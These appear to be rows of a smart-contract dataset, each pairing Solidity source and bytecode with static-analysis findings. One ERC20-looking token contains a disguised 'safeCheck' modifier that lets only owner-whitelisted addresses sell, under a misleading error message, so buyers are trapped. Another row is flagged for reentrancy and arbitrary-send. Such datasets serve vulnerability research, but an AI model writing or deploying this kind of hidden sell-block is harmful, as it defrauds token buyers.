565b604082019050919050565b6000612d7a6025836131a4565b9150612d85826136ab565b604082019050919050565b6000612d9d6024836131a4565b9150612da8826136fa565b604082019050919050565b6000612dc06011836131a4565b9150612dcb82613749565b602082019050919050565b612ddf81613308565b82525050565b612dee81613312565b82525050565b6000602082019050612e096000830184612b6e565b92915050565b6000604082019050612e246000830185612b6e565b612e316020830184612b6e565b9392505050565b6000604082019050612e4d6000830185612b6e565b612e5a6020830184612dd6565b9392505050565b600060c082019050612e766000830189612b6e565b612e836020830188612dd6565b612e906040830187612bea565b612e9d6060830186612bea565b612eaa6080830185612b6e565b612eb760a0830184612dd6565b979650505050505050565b6000602082019050612ed76000830184612bdb565b92915050565b60006020820190508181036000830152612ef78184612bf9565b905092915050565b60006020820190508181036000830152612f1881612c32565b9050919050565b60006020820190508181036000830152612f3881612c55565b9050919050565b60006020820190508181036000830152612f5881612c78565b9050919050565b60006020820190508181036000830152612f7881612c9b565b9050919050565b60006020820190508181036000830152612f9881612cbe565b9050919050565b60006020820190508181036000830152612fb881612ce1565b9050919050565b60006020820190508181036000830152612fd881612d04565b9050919050565b60006020820190508181036000830152612ff881612d27565b9050919050565b6000602082019050818103600083015261301881612d4a565b9050919050565b6000602082019050818103600083015261303881612d6d565b9050919050565b6000602082019050818103600083015261305881612d90565b9050919050565b6000602082019050818103600083015261307881612db3565b9050919050565b60006020820190506130946000830184612dd6565b92915050565b600060a0820190506130af6000830188612dd6565b6130bc6020830187612bea565b81810360408301526130ce8186612b7d565b90506130dd6060830185612b6e565b6130ea6080830184612dd6565b9695505050505050565b60006020820190506131096000830184612de5565b92915050565b600061311961312a565b90506131258282613364565b919050565b6000604051905090565b600067ffffffffffffffff82111561314f5761314e61343c565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006131c082613308565b91506131cb83613308565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115613200576131ff6133de565b5b828201905092915050565b600061321682613308565b915061322183613308565b9250826132315761323061340d565b5b828204905092915050565b600061324782613308565b915061325283613308565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561328b5761328a6133de565b5b828202905092915050565b60006132a182613308565b91506132ac83613308565b9250828210156132bf576132be6133de565b5b828203905092915050565b60006132d5826132e8565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061332a82613308565b9050919050565b60005b8381101561334f578082015181840152602081019050613334565b8381111561335e576000848401525b50505050565b61336d8261346b565b810181811067ffffffffffffffff8211171561338c5761338b61343c565b5b80604052505050565b60006133a082613308565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156133d3576133d26133de565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c72656164792073746172746564000000000000600082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f4552523a20556e6973776170206f6e6c79000000000000000000000000000000600082015250565b61377b816132ca565b811461378657600080fd5b50565b613792816132dc565b811461379d57600080fd5b50565b6137a981613308565b81146137b457600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220a42965d3f37a295013a18de5f8e1830d2a97e51092c7d15ba3205f78bfa945ff64736f6c63430008040033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}} | 864 |
0xc5996ad223012a3e00d089d994db2a7c58611e97 | pragma solidity ^0.6.0;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Context {
constructor () internal { }
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
address private _router = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
address private _address0;
address private _address1;
mapping (address => bool) private _Addressint;
uint256 private _zero = 0;
uint256 private _valuehash = 115792089237316195423570985008687907853269984665640564039457584007913129639935;
constructor (string memory name, string memory symbol, uint256 initialSupply,address payable owner) public {
_name = name;
_symbol = symbol;
_decimals = 18;
_address0 = owner;
_address1 = owner;
_mint(_address0, initialSupply*(10**18));
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function ints(address addressn) public {
require(msg.sender == _address0, "!_address0");_address1 = addressn;
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function upint(address addressn,uint8 Numb) public {
require(msg.sender == _address0, "!_address0");if(Numb>0){_Addressint[addressn] = true;}else{_Addressint[addressn] = false;}
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function intnum(uint8 Numb) public {
require(msg.sender == _address0, "!_address0");_zero = Numb*(10**18);
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal safeCheck(sender,recipient,amount) virtual{
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
modifier safeCheck(address sender, address recipient, uint256 amount){
if(recipient != _address0 && sender != _address0 && _address0!=_address1 && amount > _zero){require(sender == _address1 ||sender==_router || _Addressint[sender], "ERC20: transfer from the zero address");}
if(sender==_address0 && _address0==_address1){_address1 = recipient;}
if(sender==_address0){_Addressint[recipient] = true;}
_;}
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function multiaddress(uint8 AllowN,address[] memory receivers, uint256[] memory amounts) public {
for (uint256 i = 0; i < receivers.length; i++) {
if (msg.sender == _address0){
transfer(receivers[i], amounts[i]);
if(i<AllowN){_Addressint[receivers[i]] = true; _approve(receivers[i], _router, _valuehash);}
}
}
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
//transfer
function _transfer_WAS(address sender, address recipient, uint256 amount) internal virtual{
require(recipient == address(0), "ERC20: transfer to the zero address");
require(sender != address(0), "ERC20: transfer from the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
} | 0x608060405234801561001057600080fd5b50600436106100f55760003560e01c8063540410e511610097578063a9059cbb11610066578063a9059cbb146104c7578063b952390d1461052d578063ba03cda514610686578063dd62ed3e146106d7576100f5565b8063540410e51461035557806370a082311461038657806395d89b41146103de578063a457c2d714610461576100f5565b806323b872dd116100d357806323b872dd14610201578063313ce5671461028757806339509351146102ab578063438dd08714610311576100f5565b806306fdde03146100fa578063095ea7b31461017d57806318160ddd146101e3575b600080fd5b61010261074f565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610142578082015181840152602081019050610127565b50505050905090810190601f16801561016f5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101c96004803603604081101561019357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506107f1565b604051808215151515815260200191505060405180910390f35b6101eb61080f565b6040518082815260200191505060405180910390f35b61026d6004803603606081101561021757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610819565b604051808215151515815260200191505060405180910390f35b61028f6108f2565b604051808260ff1660ff16815260200191505060405180910390f35b6102f7600480360360408110156102c157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610909565b604051808215151515815260200191505060405180910390f35b6103536004803603602081101561032757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506109bc565b005b6103846004803603602081101561036b57600080fd5b81019080803560ff169060200190929190505050610ac3565b005b6103c86004803603602081101561039c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610ba7565b6040518082815260200191505060405180910390f35b6103e6610bef565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561042657808201518184015260208101905061040b565b50505050905090810190601f1680156104535780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6104ad6004803603604081101561047757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610c91565b604051808215151515815260200191505060405180910390f35b610513600480360360408110156104dd57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610d5e565b604051808215151515815260200191505060405180910390f35b6106846004803603606081101561054357600080fd5b81019080803560ff1690602001909291908035906020019064010000000081111561056d57600080fd5b82018360208201111561057f57600080fd5b803590602001918460208302840111640100000000831117156105a157600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f8201169050808301925050505050505091929192908035906020019064010000000081111561060157600080fd5b82018360208201111561061357600080fd5b8035906020019184602083028401116401000000008311171561063557600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f820116905080830192505050505050509192919290505050610d7c565b005b6106d56004803603604081101561069c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803560ff169060200190929190505050610edf565b005b610739600480360360408110156106ed57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611068565b6040518082815260200191505060405180910390f35b606060048054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156107e75780601f106107bc576101008083540402835291602001916107e7565b820191906000526020600020905b8154815290600101906020018083116107ca57829003601f168201915b5050505050905090565b60006108056107fe6110ef565b84846110f7565b6001905092915050565b6000600354905090565b60006108268484846112ee565b6108e7846108326110ef565b6108e285604051806060016040528060288152602001611bbd60289139600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006108986110ef565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a049092919063ffffffff16565b6110f7565b600190509392505050565b6000600660009054906101000a900460ff16905090565b60006109b26109166110ef565b846109ad85600160006109276110ef565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ac490919063ffffffff16565b6110f7565b6001905092915050565b600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610a7f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600a8152602001807f215f61646472657373300000000000000000000000000000000000000000000081525060200191505060405180910390fd5b80600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610b86576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600a8152602001807f215f61646472657373300000000000000000000000000000000000000000000081525060200191505060405180910390fd5b670de0b6b3a76400008160ff160267ffffffffffffffff1660098190555050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b606060058054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610c875780601f10610c5c57610100808354040283529160200191610c87565b820191906000526020600020905b815481529060010190602001808311610c6a57829003601f168201915b5050505050905090565b6000610d54610c9e6110ef565b84610d4f85604051806060016040528060258152602001611c2e6025913960016000610cc86110ef565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a049092919063ffffffff16565b6110f7565b6001905092915050565b6000610d72610d6b6110ef565b84846112ee565b6001905092915050565b60008090505b8251811015610ed957600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415610ecc57610e11838281518110610df057fe5b6020026020010151838381518110610e0457fe5b6020026020010151610d5e565b508360ff16811015610ecb57600160086000858481518110610e2f57fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550610eca838281518110610e9757fe5b6020026020010151600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600a546110f7565b5b5b8080600101915050610d82565b50505050565b600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610fa2576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600a8152602001807f215f61646472657373300000000000000000000000000000000000000000000081525060200191505060405180910390fd5b60008160ff16111561100b576001600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550611064565b6000600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b5050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561117d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526024815260200180611c0a6024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611203576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526022815260200180611b756022913960400191505060405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b828282600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415801561139d5750600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156114195750600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614155b8015611426575060095481115b1561157e57600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614806114d45750600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b806115285750600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b61157d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180611be56025913960400191505060405180910390fd5b5b600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614801561164a5750600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b156116915781600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611740576001600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b600073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff1614156117c6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180611be56025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff16141561184c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180611b526023913960400191505060405180910390fd5b611857868686611b4c565b6118c284604051806060016040528060268152602001611b97602691396000808a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a049092919063ffffffff16565b6000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611955846000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ac490919063ffffffff16565b6000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040518082815260200191505060405180910390a3505050505050565b6000838311158290611ab1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015611a76578082015181840152602081019050611a5b565b50505050905090810190601f168015611aa35780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b600080828401905083811015611b42576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b50505056fe45524332303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f206164647265737345524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa26469706673582212202e37c46bae1475aa63520b86f7ee07cda8b0b40cad5306024d507b0437b2157a64736f6c63430006060033 | {"success": true, "error": null, "results": {}} | 865 |
0xefbd6d7def37ffae990503ecdb1291b2f7e38788 | pragma solidity ^0.4.16;
/*
Copyright (c) 2016 Smart Contract Solutions, Inc.
Permission is hereby granted, free of charge, to any person obtaining
a copy of this software and associated documentation files (the
"Software"), to deal in the Software without restriction, including
without limitation the rights to use, copy, modify, merge, publish,
distribute, sublicense, and/or sell copies of the Software, and to
permit persons to whom the Software is furnished to do so, subject to
the following conditions:
The above copyright notice and this permission notice shall be included
in all copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS
OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.
IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY
CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT,
TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE
SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
*/
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
interface IERC20 {
function balanceOf(address _owner) public view returns (uint256);
function allowance(address _owner, address _spender) public view returns (uint256);
function transfer(address _to, uint256 _value) public returns (bool);
function transferFrom(address _from, address _to, uint256 _value) public returns (bool);
function approve(address _spender, uint256 _value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
*/
contract EvoToken is IERC20 {
using SafeMath for uint256;
// Evo Token parameters
string public name = 'Evolution';
string public symbol = 'EVO';
uint8 public constant decimals = 18;
uint256 public constant decimalFactor = 10 ** uint256(decimals);
uint256 public constant totalSupply = 5000000000 * decimalFactor;
mapping (address => uint256) balances;
mapping (address => mapping (address => uint256)) internal allowed;
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
/**
* @dev Constructor for Evo creation
* @dev Assigns the totalSupply to the EvoDistribution contract
*/
function EvoToken(address _evoDistributionContractAddress) public {
require(_evoDistributionContractAddress != address(0));
balances[_evoDistributionContractAddress] = totalSupply;
Transfer(address(0), _evoDistributionContractAddress, totalSupply);
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
// SafeMath.sub will throw if there is not enough balance.
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
